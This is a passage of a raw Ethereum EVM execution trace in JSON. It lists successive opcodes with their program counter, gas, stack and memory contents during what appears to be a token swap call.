6a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2859,"op":"ADD","gas":100761,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0x20","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2860,"op":"SWAP1","gas":100758,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xc4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2861,"op":"PUSH2","gas":100755,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2864,"op":"SWAP2","gas":100752,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xe4","0xc4","0xb36"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2865,"op":"SWAP1","gas":100749,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xc4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2866,"op":"PUSH2","gas":100746,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2869,"op":"JUMP","gas":100743,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x3b81"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15233,"op":"JUMPDEST","gas":100735,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15234,"op":"PUSH1","gas":100734,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15236,"op":"PUSH1","gas":100731,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15238,"op":"DUP3","gas":100728,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15239,"op":"DUP5","gas":100725,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x20","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15240,"op":"SUB","gas":100722,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x20","0xc4","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15241,"op":"SLT","gas":100719,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15242,"op":"ISZERO","gas":100716,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15243,"op":"PUSH2","gas":100713,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15246,"op":"JUMPI","gas":100710,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0x1","0x3b93"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15251,"op":"JUMPDEST","gas":100700,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15252,"op":"DUP2","gas":100699,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15253,"op":"CALLDATALOAD","gas":100696,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0x0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15254,"op":"PUSH2","gas":100693,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xb36","0xe4","0xc4","0